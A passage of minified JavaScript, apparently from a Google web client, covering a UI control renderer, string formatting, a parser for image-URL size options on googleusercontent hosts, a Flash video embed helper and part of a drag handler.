c2=function(){this.pI=this.Y()+Xd;this.iI=this.Y()+Uc;this.oI=this.Y()+Ud;this.kI=this.Y()+sd;this.lI=this.Y()+zd;this.nI=this.Y()+Nd;this.mI=this.Y()+Hd;this.jI=this.Y()+rd};E(c2,d0);ML(c2);x=c2.prototype;x.Ki=function(a,b,d){a&&d.Iba(a);b&&d.Kf(b)};x.Y=function(){return LC}; x.C=function(a){OM(a,d2,Ai);var b=a.q(),d=$S(a2,{disabled:!a.isEnabled(),checked:a.rl(),style:a.Pr,title:a.dg(),a_:a.Ex,value:a.D(),width:a.dc()},void 0,b);b.append(d,a.getContent());this.Ra(a,d);return d}; x.Ra=function(a,b){c2.c.Ra.call(this,a,b);this.XK||(this.XK=uO(this.pI,YL(this.Ki,0,null),this.iI,YL(this.Ki,2,null),this.oI,YL(this.Ki,3,null),this.kI,YL(this.Ki,1,null),this.lI,YL(this.Ki,4,null),this.mI,YL(this.Ki,5,null),this.jI,YL(this.Ki,6,null),this.nI,YL(this.Ki,null,1)));for(var d=UT(b),e=0;e<d.length;++e){var f=this.XK[d[e]];f&&f(a)}if(d=b.getAttribute(yy))a.ul(d),a.I_(!0);return b};x.D=function(a){return a.getAttribute(HK)||c};x.Dc=function(a,b){a&&a.setAttribute(HK,b)}; x.md=function(a,b,d){c2.c.md.call(this,a,b,d);if(32==b)try{var e=a.b();d?e.focus():e.blur()}catch(f){}};x.VY=function(a){function b(a,b){(a?d:e).push(b)}H(a.b(),zi);var d=[],e=[],f=a.Pr;b(0==f,this.pI);b(2==f,this.iI);b(3==f,this.oI);b(4==f,this.lI);b(5==f,this.mI);b(1==f,this.kI);b(6==f,this.jI);b(1==a.dc(),this.nI);b(!a.isEnabled(),this.Y()+ud);ZT(a.b(),e);XT(a.b(),d)};var f2=function(a){return a=c+(Vg+a.m8+ob+V(a.Rw)+Eb+a.e8+Ya+(a.o8?lh+a.gP+mb:Mg+a.gP+nb+a.n8+Za+e2(null)+Cf)+fg+b2({id:$x,Fn:Ar,style:1})+b2({id:Zx,Fn:fl,disabled:!1,style:0})+Bf)},e2=function(){return c+Gh};var g2=function(a){(a=a.pb(wj))&&a.focus()};var i2=function(a,b){var d=Array.prototype.slice.call(arguments),e=d.shift();if("undefined"==typeof e)throw Error("[goog.string.format] Template required");return e.replace(/%([0\-\ \+]*)(\d+)?(\.(\d+))?([%sfdiu])/g,function(a,b,e,p,q,t,B,F){if(t==Rb)return Rb;var X=d.shift();if("undefined"==typeof X)throw Error("[goog.string.format] Not enough arguments");arguments[0]=X;return h2[t].apply(null,arguments)})},h2={s:function(a,b,d){return isNaN(d)||d==c||a.length>=d?a:a=-1<b.indexOf(Qc,0)?a+AM(fa,d- a.length):AM(fa,d-a.length)+a},f:function(a,b,d,e,f){e=a.toString();isNaN(f)||f==c||(e=a.toFixed(f));var g;g=0>a?Qc:0<=b.indexOf(Jc)?Jc:0<=b.indexOf(fa)?fa:c;0<=a&&(e=g+e);if(isNaN(d)||e.length>=d)return e;e=isNaN(f)?Math.abs(a).toString():Math.abs(a).toFixed(f);a=d-e.length-g.length;return e=0<=b.indexOf(Qc,0)?g+e+AM(fa,a):g+AM(0<=b.indexOf(l,0)?l:fa,a)+e},d:function(a,b,d,e,f,g,k,p){return h2.f(parseInt(a,10),b,d,e,0,g,k,p)}};h2.i=h2.d;h2.u=h2.d;var j2=function(a){P(this,a,c,52,[])};E(j2,O);x=j2.prototype;x.lb=function(){return this.a[0]};x.Ef=function(a){this.a[0]=a};x.dc=function(){return this.a[11]};x.Kf=function(a){this.a[11]=a};x.Rc=function(){return this.a[12]};x.Qh=function(a){this.a[12]=a};x.kL=function(){return this.a[32]};x.yC=function(a){this.a[32]=a};x.xL=function(){return null!=this.a[1]?this.a[1]:!1};x.Qi=function(a){this.a[1]=a};x.ML=function(){return this.a[50]};x.uu=function(a){this.a[50]=a};x.OL=function(){return this.a[31]}; x.vu=function(a){this.a[31]=a};x.yL=function(){return null!=this.a[18]?this.a[18]:!1};x.Ri=function(a){this.a[18]=a};x.zL=function(){return null!=this.a[51]?this.a[51]:!1};x.Ni=function(a){this.a[51]=a};x.wL=function(){return null!=this.a[19]?this.a[19]:!1};x.wk=function(a){this.a[19]=a};x.NL=function(){return null!=this.a[2]?this.a[2]:!1};x.Au=function(a){this.a[2]=a};x.A1=function(){return null!=this.a[3]?this.a[3]:!1};x.A6=function(a){this.a[3]=a};x.I1=function(){return this.a[8]}; x.baa=function(a){this.a[8]=a};x.J1=function(){return this.a[9]};x.caa=function(a){this.a[9]=a};x.K1=function(){return this.a[10]};x.daa=function(a){this.a[10]=a};x.H1=function(){return null!=this.a[13]?this.a[13]:!1};x.R5=function(a){this.a[13]=a};x.RL=function(){return null!=this.a[33]?this.a[33]:!1};x.EC=function(a){this.a[33]=a};x.QL=function(){return this.a[14]};x.nE=function(a){this.a[14]=a};x.Ej=function(){return this.a[15]};x.av=function(a){this.a[15]=a};x.UL=function(){return this.a[16]}; x.mD=function(a){this.a[16]=a};x.IL=function(){return this.a[17]};x.S5=function(a){this.a[17]=a};x.JL=function(){return this.a[44]};x.T5=function(a){this.a[44]=a};x.B1=function(){return this.a[21]};x.Q5=function(a){this.a[21]=a};x.PL=function(){return this.a[20]};x.DC=function(a){this.a[20]=a};x.v1=function(){return null!=this.a[22]?this.a[22]:!1};x.w6=function(a){this.a[22]=a};x.fw=function(){return this.a[23]};x.LB=function(a){this.a[23]=a};x.L1=function(){return this.a[35]}; x.eba=function(a){this.a[35]=a};x.G1=function(){return null!=this.a[5]?this.a[5]:!1};x.C6=function(a){this.a[5]=a};x.E1=function(){return this.a[25]};x.B6=function(a){this.a[25]=a};x.TL=function(){return this.a[29]};x.GC=function(a){this.a[29]=a};x.cM=function(){return this.a[30]};x.OC=function(a){this.a[30]=a};x.ZL=function(){return this.a[26]};x.nD=function(a){this.a[26]=a};x.D1=function(){return this.a[27]};x.dba=function(a){this.a[27]=a};x.aM=function(){return null!=this.a[34]?this.a[34]:!1}; x.MC=function(a){this.a[34]=a};x.bM=function(){return null!=this.a[40]?this.a[40]:!1};x.NC=function(a){this.a[40]=a};x.YL=function(){return null!=this.a[47]?this.a[47]:!1};x.KC=function(a){this.a[47]=a};x.$L=function(){return null!=this.a[48]?this.a[48]:!1};x.LC=function(a){this.a[48]=a};x.VL=function(){return null!=this.a[36]?this.a[36]:!1};x.HC=function(a){this.a[36]=a};x.u1=function(){return this.a[37]};x.v6=function(a){this.a[37]=a};x.t1=function(){return this.a[38]}; x.u6=function(a){this.a[38]=a};x.WL=function(){return this.a[39]};x.IC=function(a){this.a[39]=a};x.z1=function(){return this.a[41]};x.z6=function(a){this.a[41]=a};x.y1=function(){return this.a[42]};x.y6=function(a){this.a[42]=a};x.C1=function(){return this.a[43]};x.aaa=function(a){this.a[43]=a};x.XL=function(){return this.a[45]};x.JC=function(a){this.a[45]=a};x.SL=function(){return this.a[49]};x.FC=function(a){this.a[49]=a};var Z=function(){j2.call(this)};E(Z,j2);Z.prototype.x6=function(a){this.Dda=a};Z.prototype.x1=function(){return this.Dda};Z.prototype.cba=function(a){this.Cda=a};Z.prototype.w1=function(){return this.Cda};var k2=function(){};x=k2.prototype;x.parse=function(a){var b=new Z,d=new Z;a=this.Vda(a,b,d);return new l2(b,d,a)};x.Vda=function(a,b,d){if(a==c)return!0;a=a.split(Qc);for(var e=!0,f=0;f<a.length;f++){var g=a[f],k=g.substring(0,1);if(k==Aq||k==Lo){for(k=c;12>k.length&&f<a.length;)g=a[f],k=k+Qc+g,f++;g=k.substring(1)}g=this.Jda(g,b,d);e=e&&g}return e}; x.qda=function(a){var b=a.substring(0,1),d=a.substring(1);if(b.toLowerCase()==Xz&&(d==OB||d==EK||d==ZA||d==jJ)||b.toLowerCase()==qx&&(d==qx||d==oC)||b.toLowerCase()==yH&&d==TK||b.toLowerCase()==yH&&d==OB||b.toLowerCase()==cK&&d==jJ||b.toLowerCase()==zE&&d==TF||b.toLowerCase()==zE&&d==mI||b.toLowerCase()==zE&&d==cK||b.toLowerCase()==zE&&d==TK||b.toLowerCase()==rG&&d==rG)b=a,d=c;b.toLowerCase()==zE&&2<d.length&&d.substring(0,2)==lJ&&(b=a.substring(0,3),d=a.substring(3));b.toLowerCase()==yH&&2==d.length&& d.substring(0,2)==eL&&(b=a.substring(0,3),d=c);return[b,d]};x.Jda=function(a,b,d){if(0==a.length)return!1;var e=this.qda(a);return this.kda(a,e[0],e[1],b,d)}; x.kda=function(a,b,d,e,f){switch(b.toLowerCase()){case mz:case TK:case u:case jL:case nL:case dD:a=this.eca(a,b,d,e,f);break;case Mv:case vy:case kA:case YA:case Dx:case Lx:case ZA:case jA:case VA:case oC:case zE:case EF:case MF:case PF:case SF:case gH:case kI:case lI:case $H:case cK:case DK:a=this.dca(a,b,d,e,f);break;case Xz:case GC:case uH:case jJ:case OF:a=this.gca(a,b,d,e,f);break;case Lw:case qx:case OB:case XC:case TF:case rG:case yH:case mI:a=this.fca(a,b,d,e,f);break;default:a=!1}return a}; x.bda=function(a){switch(a.toLowerCase()){case mz:return Z.prototype.nE;case TK:return Z.prototype.Kf;case u:return Z.prototype.baa;case jL:return Z.prototype.caa;case nL:return Z.prototype.daa;case dD:return Z.prototype.aaa;default:return function(){}}}; x.ada=function(a){switch(a.toLowerCase()){case Mv:return Z.prototype.DC;case vy:return Z.prototype.Au;case kA:return Z.prototype.GC;case YA:return Z.prototype.OC;case Dx:return Z.prototype.uu;case Lx:return Z.prototype.vu;case ZA:return Z.prototype.R5;case jA:return Z.prototype.EC;case VA:return Z.prototype.FC;case oC:return Z.prototype.Q5;case zE:return Z.prototype.wk;case EF:return Z.prototype.HC;case SF:return Z.prototype.KC;case MF:return Z.prototype.IC;case PF:return Z.prototype.JC;case gH:return Z.prototype.Ni; case kI:return Z.prototype.MC;case lI:return Z.prototype.NC;case $H:return Z.prototype.LC;case cK:return Z.prototype.S5;case DK:return Z.prototype.T5;default:return function(){}}};x.cda=function(a){switch(a.toLowerCase()){case Xz:return Z.prototype.av;case GC:return Z.prototype.cba;case uH:return Z.prototype.dba;case jJ:return Z.prototype.LB;case OF:return Z.prototype.eba;default:return function(){}}}; x.gda=function(a,b,d){switch(a.toLowerCase()){case Lw:b.push(1,0),d.push(Z.prototype.w6,Z.prototype.v6);case qx:b.push(1,0),d.push(Z.prototype.Qi,Z.prototype.u6);case OB:b.push(1,0);d.push(Z.prototype.A6,Z.prototype.Qh);break;case XC:b.push(1,0);d.push(Z.prototype.mD,Z.prototype.z6);break;case TF:b.push(1,2);d.push(Z.prototype.nD,Z.prototype.x6);break;case rG:b.push(1,0);d.push(Z.prototype.Ri,Z.prototype.y6);break;case yH:b.push(1,0);d.push(Z.prototype.C6,Z.prototype.B6);break;case mI:b.push(1,0), d.push(Z.prototype.yC,Z.prototype.Ef)}};x.sG=function(a,b,d,e,f){f.apply(d,[b]);a=a.substring(0,1);f.apply(e,[a==a.toUpperCase()])};x.eca=function(a,b,d,e,f){return null==this.gR(b,d,e,f,this.bda(b))?!0:!1};x.gR=function(a,b,d,e,f){if(b==c)return 0;isFinite(b)&&(b=String(b));b=A(b)?/^\s*-?0x/i.test(b)?parseInt(b,16):parseInt(b,10):NaN;if(isNaN(b))return 1;this.sG(a,b,d,e,f);return null};x.dca=function(a,b,d,e,f){return null==this.fR(b,d,e,f,this.ada(b))?!0:!1}; x.fR=function(a,b,d,e,f){if(b!=c)return 2;this.sG(a,!0,d,e,f);return null};x.gca=function(a,b,d,e,f){return null==this.hR(b,d,e,f,this.cda(b))?!0:!1};x.hR=function(a,b,d,e,f){if(b==c)return 0;this.sG(a,b,d,e,f);return null};x.fca=function(a,b,d,e,f){var g=[],k=[];this.gda(b,g,k);var p=[],q=[],t;for(t in g){var B=g[t],F=k[t],F=this.jda(B)(b,d,e,f,F);if(null==F)return!0;p.push(B);q.push(F)}for(t in q)F=q[t],null(a,F);return!1}; x.jda=function(a){switch(a){case 0:return C(this.gR,this);case 1:return C(this.fR,this);case 2:return C(this.hR,this);default:return function(){}}};var l2=function(a,b,d){this.Bk=a;this.KE=b;this.rq=d};l2.prototype.Ab=function(){return this.rq};var m2=function(a){this.YD(a)};x=m2.prototype;x.kQ=function(){null==this.VR&&(this.VR=new k2);return this.VR};x.YD=function(a){this.Mf=[];this.se=a?A(a)?this.kQ().parse(a):a:this.kQ().parse(c)};x.setOptions=function(a){this.YD(a);return this};x.hb=function(a,b,d){a||typeof a==RF&&0==a||(a=void 0);var e=this.se.Bk,f=this.se.KE,g=b.call(e);a!=g&&(void 0!=g&&b.call(f),d.call(e,a))};x.Qi=function(a){a&&(this.Ri(!1),this.Ni(!1),this.wk(!1));this.hb(a,Z.prototype.xL,Z.prototype.Qi);return this}; x.Au=function(a){this.hb(a,Z.prototype.NL,Z.prototype.Au);return this};x.Qh=function(a){null!=a&&this.Ef();this.hb(a,Z.prototype.Rc,Z.prototype.Qh);return this};x.yC=function(a){a&&(this.Qi(!1),this.vu(!1),this.Ri(!1),this.Ni(!1),this.wk(!1),this.uu(!1));this.hb(a,Z.prototype.kL,Z.prototype.yC);return this};x.av=function(a){a&&(a=a.replace(qf,mf));this.hb(a,Z.prototype.Ej,Z.prototype.av);return this};x.GC=function(a){this.hb(a,Z.prototype.TL,Z.prototype.GC);return this}; x.OC=function(a){this.hb(a,Z.prototype.cM,Z.prototype.OC);return this};x.vu=function(a){this.hb(a,Z.prototype.OL,Z.prototype.vu);return this};x.uu=function(a){this.hb(a,Z.prototype.ML,Z.prototype.uu);return this};x.EC=function(a){this.hb(a,Z.prototype.RL,Z.prototype.EC);return this};x.FC=function(a){this.hb(a,Z.prototype.SL,Z.prototype.FC);return this};x.mD=function(a){this.hb(a,Z.prototype.UL,Z.prototype.mD);return this};x.DC=function(a){this.hb(a,Z.prototype.PL,Z.prototype.DC);return this}; x.Ef=function(a){SL(a)&&(a=Math.max(a.width,a.height));null!=a&&(H(isFinite(a)&&0==a%1,Pt,a),this.Kf(),this.Qh());this.hb(a,Z.prototype.lb,Z.prototype.Ef);return this};x.Ri=function(a){a&&(this.Qi(!1),this.wk(!1),this.Ni(!1));this.hb(a,Z.prototype.yL,Z.prototype.Ri);return this};x.Ni=function(a){a&&(this.Qi(!1),this.wk(!1),this.Ri(!1));this.hb(a,Z.prototype.zL,Z.prototype.Ni);return this};x.wk=function(a){a&&(this.Qi(!1),this.Ri(!1),this.Ni(!1));this.hb(a,Z.prototype.wL,Z.prototype.wk);return this}; x.Kf=function(a){null!=a&&this.Ef();this.hb(a,Z.prototype.dc,Z.prototype.Kf);return this};x.nE=function(a){this.hb(a,Z.prototype.QL,Z.prototype.nE);return this};x.MC=function(a){this.hb(a,Z.prototype.aM,Z.prototype.MC);return this};x.NC=function(a){this.hb(a,Z.prototype.bM,Z.prototype.NC);return this};x.KC=function(a){this.hb(a,Z.prototype.YL,Z.prototype.KC);return this};x.LC=function(a){this.hb(a,Z.prototype.$L,Z.prototype.LC);return this}; x.nD=function(a){this.hb(a,Z.prototype.ZL,Z.prototype.nD);return this};x.HC=function(a){this.hb(a,Z.prototype.VL,Z.prototype.HC);return this};x.IC=function(a){this.hb(a,Z.prototype.WL,Z.prototype.IC);return this};x.JC=function(a){this.hb(a,Z.prototype.XL,Z.prototype.JC);return this};x.O6=function(){var a=this.se.Bk;return!!(a.lb()||a.dc()||a.Rc())};x.iS=function(){this.HM();this.Au(!0);return this};x.M6=function(){this.Qi();this.Ef();this.Qh();this.Ri();this.Ni();this.Kf();return this}; x.HM=function(){this.se.Bk.toArray().length=0;this.se.KE.toArray().length=0;return this};x.Xm=function(){this.Mf.length=0;this.gba();this.kba();return this.Mf.join(Qc)};x.gba=function(){var a=this.se.Bk;a.IL()||a.JL()?a.lb()||this.Ef(0):this.O6()||this.M6()}; x.kba=function(){this.pe(mI,Z.prototype.lb);this.pe(TK,Z.prototype.dc);this.Za(qx,Z.prototype.xL);this.pe(qx,Z.prototype.t1,16,6);this.Za(vy,Z.prototype.NL);this.pe(OB,Z.prototype.Rc);this.Za(mI,Z.prototype.kL);this.Za(OB,Z.prototype.A1);this.Za(rG,Z.prototype.yL);this.Za(gH,Z.prototype.zL);this.pe(rG,Z.prototype.y1);this.Za(zE,Z.prototype.wL);this.pe(yH,Z.prototype.E1);this.Za(yH,Z.prototype.G1);this.Za(kA,Z.prototype.TL);this.Za(YA,Z.prototype.cM);this.Za(Dx,Z.prototype.ML);this.Za(Lx,Z.prototype.OL); this.Za(TF,Z.prototype.ZL);this.ym(TF,Z.prototype.x1);this.ym(GC,Z.prototype.w1);this.pe(u,Z.prototype.I1);this.pe(jL,Z.prototype.J1);this.pe(nL,Z.prototype.K1);this.Za(ZA,Z.prototype.H1);this.Za(jA,Z.prototype.RL);this.Za(VA,Z.prototype.SL);this.pe(mz,Z.prototype.QL);this.ym(Xz,Z.prototype.Ej);this.Za(XC,Z.prototype.UL);this.pe(XC,Z.prototype.z1);this.Za(cK,Z.prototype.IL);this.Za(DK,Z.prototype.JL);this.Za(oC,Z.prototype.B1);this.Za(Mv,Z.prototype.PL);this.Za(Lw,Z.prototype.v1);this.pe(Lw,Z.prototype.u1); this.ym(jJ,Z.prototype.fw);this.ym(OF,Z.prototype.L1);this.Za(kI,Z.prototype.aM);this.Za(lI,Z.prototype.bM);this.Za(SF,Z.prototype.YL);this.Za($H,Z.prototype.$L);this.Za(EF,Z.prototype.VL);this.ym(uH,Z.prototype.D1);this.Za(MF,Z.prototype.WL);this.pe(dD,Z.prototype.C1);this.Za(PF,Z.prototype.XL)};x.l$=function(a){return void 0==a||10!=a&&16!=a?10:a};x.k$=function(a){return 16==a?Je:c};x.j$=function(a,b){if(void 0==b)return c;var d=b-a.length;return 0>=d?c:AM(l,d)}; x.pe=function(a,b,d,e){var f=b.apply(this.se.Bk,[]);if(void 0!=f&&null!=f){d=this.l$(d);var f=f.toString(d),g=new aT;g.append(this.k$(d));g.append(this.j$(f,e));g.append(f);this.aF(a,g.toString(),b)}};x.Za=function(a,b){b.apply(this.se.Bk,[])&&this.aF(a,c,b)};x.ym=function(a,b){var d=b.apply(this.se.Bk,[]);d&&this.aF(a,d,b)};x.aF=function(a,b,d){d.apply(this.se.KE,[])&&(a=a.substring(0,1).toUpperCase()+a.substring(1));this.Mf.push(a+b)};var n2=/^[^\/]*\/\//,o2=function(){};o2.prototype.parse=function(a){return new p2(a)};var p2=function(a){this.wq=a;this.Ku=c;(a=this.wq.match(n2))&&a[0]?(this.Ku=a[0],a=this.Ku.match(/\w+/)?this.wq:dC+this.wq.substring(this.Ku.length)):a=dC+this.wq;this.Ue=FR(a,!0);this.rq=!0;this.cP=!1},q2=["image","proxy","public"];x=p2.prototype; x.Um=function(){if(void 0==this.Mf){this.Mf=this.Ue.getPath().substring(1).split(se);var a=this.Mf.length;if(7==a||2==a)r2(this.Mf[0])||(this.rq=!1);else if(7<a||2<a&&5>a||0==a)this.rq=!1;if(2>=a){this.cP=!0;var a=a-1,b=this.Mf[a],d=b.indexOf(ph);-1!=d&&(this.Mf[a]=b.substr(0,d),this.Mf.push(b.substr(d+1)))}}return this.Mf};x.Ab=function(){this.Um();return this.rq};x.MK=function(){this.Um();return this.cP};x.ae=function(){var a=this.Ue.Lh;return this.Ue.ae()+(a?mf+a:c)};x.Xi=function(){return this.Ue.XD()}; x.NK=function(){if(void 0!=this.Mv)return this.Mv;var a=this.Um();r2(a[0])?this.Mv=a[0]:this.Mv=null;return this.Mv};x.qp=function(){return null!=this.NK()};x.Fv=function(){switch(this.Um().length){case 7:return!0;case 6:return!this.qp();case 5:return!1;case 3:return!0;case 2:return!this.qp();case 1:return!1;default:return!1}};x.Ik=function(a){return this.MK()?this.sca(a):this.uca(a)}; x.uca=function(a){var b=this.qp()?1:0;switch(a){case 0:b=0+b;break;case 1:b=1+b;break;case 2:b=2+b;break;case 3:b=3+b;break;case 4:if(!this.Fv())return null;b=4+b;break;case 5:a=this.Fv()?1:0;b=4+b+a;break;default:return null}return this.Um()[b]};x.sca=function(a){var b=this.qp()?1:0;switch(a){case 6:a=0+b;break;case 4:if(!this.Fv())return null;a=1+b;break;default:return null}return this.Um()[a]};x.Ud=function(){return this.wq};x.h_=function(){void 0==this.nR&&(this.nR=this.Ik(6));return this.nR}; x.Ne=function(){void 0==this.oR&&(this.oR=this.Ik(0));return this.oR};x.Jl=function(){void 0==this.rR&&(this.rR=this.Ik(1));return this.rR};x.g_=function(){void 0==this.mR&&(this.mR=this.Ik(2));return this.mR};x.PK=function(){void 0==this.tR&&(this.tR=this.Ik(3));return this.tR};x.jm=function(){void 0==this.qR&&(this.qR=this.Ik(4));return this.qR};x.U6=function(){if(void 0==this.se){var a=this.jm();a||(a=c);this.se=(new k2).parse(a)}return this.se}; x.f_=function(){void 0==this.kR&&(this.kR=this.Ik(5));return this.kR};var r2=function(a){return!(!a||!aN(q2,a))};var t2=function(a){a instanceof p2||(void 0==s2&&(s2=new o2),a=s2.parse(a.toString()));this.rd=a;a=this.rd.U6();this.YD(a);this.vZ=this.rd.Ku;this.jp=this.rd.ae();this.Fh=this.rd.Xi()},s2;E(t2,m2);t2.prototype.k3=function(){this.Fh=c;return this}; t2.prototype.Xm=function(){if(!this.rd.Ab())return this.rd.Ud();var a=t2.c.Xm.call(this),b=[];this.rd.qp()&&b.push(this.rd.NK());this.rd.MK()?(a=this.rd.h_()+(a?ph+a:c),b.push(a)):(b.push(this.rd.Ne()),b.push(this.rd.Jl()),b.push(this.rd.g_()),b.push(this.rd.PK()),a&&b.push(a),b.push(this.rd.f_()));return this.vZ+this.jp+se+b.join(se)+(this.Fh?sh+this.Fh:c)};var u2=new o2,x2=function(a,b,d,e){a=a.clone();if(a.Lp(b)||a.Lp(v2))return a;a.xm(b);if(d)a=a.round();else if(d=e||w2,b=Math.round(Math.max(a.width,a.height))){e=d[0];for(var f=1;f<d.length;f++)if(b>=d[f])e=d[f];else break;d=e;a.width>a.height?(a.width=d,a.height=Math.round(a.height*d/b)):(a.height=d,a.width=Math.round(a.width*d/b))}else a.round();return a},w2=[32,48,64,72,80,90,94,104,110,120,128,144,150,160,200,220,288,320,400,512,576,640,720,800,912,1024,1152,1280,1440,1600],v2=new AP(w2[0],w2[0]), y2=/^(https?:)?\/\/(lh|gp)[3-6]\.((ggpht)|(googleusercontent)|(google))\.com\//i,z2=function(a,b){if(!y2.test(a))return a;var d=EM(a)%4+3,e=TQ(a),f=e[1]||c,g=e[4]||c,k=e[5]||c,p=e[6]||c,e=e[7]||c,d=pD+d+re;z(b)&&(f=b);var q=c;f&&(q+=f+mf);d&&(q=q+ve+d,g&&(q+=mf+g));k&&(q+=k);p&&(q+=sh+p);e&&(q+=Jb+e);return q};var A2=function(a,b,d,e){this.$i=a;this.yc=b;d&&e&&(this.ac=new AP(d,e))},B2={zja:5,nka:18,Bja:34,Aja:35,mka:22,oka:37},C2=[5,18,34,35,22,37];x=A2.prototype;x.lca=function(){return mO(B2,this.$i)};x.kca=function(){return!!this.$i&&5!=this.$i&&18!=this.$i};x.getFormat=function(){return this.$i};x.getUrl=function(){return this.yc};x.lb=function(){return this.ac};var D2=function(a){IZ.call(this,a)};E(D2,IZ);D2.prototype.vB=function(a){this.fda=a.clone();this.xP=null};D2.prototype.Ji=function(){return this.fda};D2.prototype.Ew=function(){return null};var E2=function(a,b){IZ.call(this,b);this.gj=a};E(E2,D2);E2.prototype.$Y=function(a,b){this.hx=a;this.LQ=b;return this};var F2={allowFullScreen:WJ,allowScriptAccess:iw,bgcolor:"#fff",scale:"noScale",wmode:"opaque"},G2=new AP(320,240);x=E2.prototype;x.Ew=function(){var a=this.PR();return new AP(a.width,a.height+38)}; x.C=function(){E2.c.C.call(this);var a=this.q(),b=this.Ew(),d=ye;this.hx&&(d+=dc);this.On=a.C(Iz,{height:b.height,src:d,type:sw,width:b.width});jO(F2,C(function(a,b){this.On.setAttribute(b,a)},this));this.On.setAttribute(Gn,this.KT());fS(this.On,b);this.b().appendChild(this.On);OQ(C(this.dispatchEvent,this,new L(UF)),100,this);ZL(fG,C(this.LT,this));ZL(dG,C(this.MT,this))};x.MT=function(a){this.dispatchEvent(new H2(sG,a))};x.LT=function(){this.On.addEventListener(eG,dG,!1)};x.MQ=function(){return c}; x.KT=function(){var a=this.MQ(),a=a+((a?Vb:c)+UA+this.gj+bc),b=window.top.location.protocol+ve+window.top.location.host;this.hx&&(a+=pc+b+this.hx);this.LQ&&(a+=oc+b+this.LQ);J&&!SN(ff)&&(a+=cc);return a};x.PR=function(){var a=G2.clone(),b=this.xP;b&&(b.width>=a.width||b.height>=a.height)&&(a=b.clone());return a};var H2=function(a){L.call(this,a)};E(H2,L);var I2=function(a,b,d){E2.call(this,b,d);this.LE=a};E(I2,E2);var J2=new AP(320,240),K2=new AP(480,360);I2.prototype.PR=function(){var a=G2.clone(),b=this.xP;if(b&&(b.width>=a.width||b.height>=a.height))a=b.clone();else{for(var d,b=this.Ji(),e=0,f=this.LE.length;e<f;e++){var g=this.LE[e].lb(),k=g&&b&&(g.width>b.width||g.height>b.height);g&&(!d||g.width>d.width)&&!k&&(d=g)}d&&(d.width>=a.width||d.height>=a.height)&&(a=d.clone())}return a}; var L2=function(a){var b=a.lb();b||(b=5==a.getFormat()?J2:K2);return a.getFormat()+se+b.width+u+b.height+se+(5==a.getFormat()?gf:lf)}; I2.prototype.MQ=function(){var a=[],b=[],d=TM(this.LE,function(a){return a.lca()});ZM(d,function(a){return a.kca()})&&eN(d,function(a){return 18==a.getFormat()});nN(d,function(a,b){return RM(C2,a.getFormat())-RM(C2,b.getFormat())});for(var e=0;e<d.length;++e){var f=d[e];a.push(L2(f));b.push(f.getFormat()+BL+jM(f.getUrl()).replace(/,/g,Tb))}a=iM(a.reverse().join(Kc));b=iM(b.reverse().join(Kc));return NA+a+ec+b+qc};var N2=function(){this.Kv=c;this.Oba=M2;this.jR=null};N2.prototype.Lda=!0;N2.prototype.Mt=function(){return this.jR};N2.prototype.Mda=!0;N2.prototype.toString=function(){return Bs+this.Kv+w};var O2=function(a){if(a instanceof N2&&a.constructor===N2&&a.Oba===M2)return a.Kv;JM(Wz+a+rc);return bK},M2={},P2=function(a,b){var d=new N2;d.Kv=a;d.jR=b;return d},Q2=null;"".Lda&&(Q2="".Mt());var R2=P2(rM("".Mda?"".Kv:c),Q2);var S2=function(a,b,d){N.call(this);this.target=a;this.handle=b||a;this.$C=d||new KR(NaN,NaN,NaN,NaN);this.aa=LP(a);this.fa=new LQ(this);this.wx(this.fa);CO(this.handle,[RJ,nE],this.ir,!1,this)};E(S2,N);var T2=J||DN&&SN("1.9.3");x=S2.prototype;x.clientX=0;x.clientY=0;x.screenX=0;x.screenY=0;x.bN=0;x.cN=0;x.Dk=0;x.Ti=0;x.Qb=!0;x.qk=!1;x.aN=0;x.e0=!1;x.fq=!1;x.L=function(){return this.fa};x.gJ=function(a){this.$C=a||new KR(NaN,NaN,NaN,NaN)};x.Gi=function(){return this.Qb};x.Gb=function(a){this.Qb=a}; x.A=function(){S2.c.A.call(this);JO(this.handle,[RJ,nE],this.ir,!1,this);this.UJ();this.handle=this.target=null};x.uO=function(){z(this.Gf)||(this.Gf=YR(this.target));return this.Gf}; x.ir=function(a){var b=a.type==nE;if(!this.Qb||this.qk||b&&!a.Ys())this.dispatchEvent(oz);else{this.XB(a);if(0==this.aN)if(this.$M(a))this.qk=!0,a.preventDefault();else return;else a.preventDefault();this.K4();this.clientX=this.bN=a.clientX;this.clientY=this.cN=a.clientY;this.screenX=a.screenX;this.screenY=a.screenY;this.J4();this.rC=MP(this.aa).oi();D()}}; x.K4=function(){var a=this.aa,b=a.documentElement,d=!T2;this.fa.j(a,[QJ,oE],this.d0,d);this.fa.j(a,[PJ,rE],this.jt,d);T2?(b.setCapture(!1),this.fa.j(b,AD,this.jt)):this.fa.j(TP(a),Ww,this.jt);J&&this.e0&&this.fa.j(a,kz,bO);this.g0&&this.fa.j(this.g0,vI,this.f0,d)};x.$M=function(a){return this.dispatchEvent(new U2(YI,this,a.clientX,a.clientY,a))};x.UJ=function(){this.fa.Na();T2&&this.aa.releaseCapture()}; x.jt=function(a,b){this.UJ();if(this.qk){this.XB(a);this.qk=!1;var d=this.QN(this.Dk),e=this.RN(this.Ti);this.dispatchEvent(new U2(Nz,this,a.clientX,a.clientY,a,d,e,b||a.type==OJ))}else this.dispatchEvent(oz)};x.XB=function(a){var b=a.type;b==RJ||b==QJ?a.wv(a.pc.targetTouches[0],a.currentTarget):b!=PJ&&b!=OJ||a.wv(a.pc.changedTouches[0],a.currentTarget)}; x.d0=function(a){if(this.Qb){this.XB(a);var b=(this.fq&&this.uO()?-1:1)*(a.clientX-this.clientX),d=a.clientY-this.clientY;this.clientX=a.clientX;this.clientY=a.clientY;this.screenX=a.screenX;this.screenY=a.screenY;if(!this.qk){var e=this.bN-this.clientX,f=this.cN-this.clientY;if(e*e+f*f>this.aN)if(this.$M(a))this.qk=!0;else{this.Fd()||this.jt(a);return}}d=this.rO(b,d);b=d.x;d=d.y;this.qk&&this.dispatchEvent(new U2(Ow,this,a.clientX,a.clientY,a,b,d))&&(this.sO(a,b,d,!1),a.preventDefault())}}; x.rO=function(a,b){var d=MP(this.aa).oi();a+=d.x-this.rC.x;b+=d.y-this.rC.y;this.rC=d;this.Dk+=a;this.Ti+=b;var d=this.QN(this.Dk),e=this.RN(this.Ti);return new yP(d,e)};x.f0=function(a){var b=this.rO(0,0);a.clientX=this.clientX;a.clientY=this.clientY;this.sO(a,b.x,b.y,!0)};x.sO=function(a,b,d){this.Ada(b,d);this.dispatchEvent(new U2(jz,this,a.clientX,a.clientY,a,b,d))}; x.QN=function(a){var 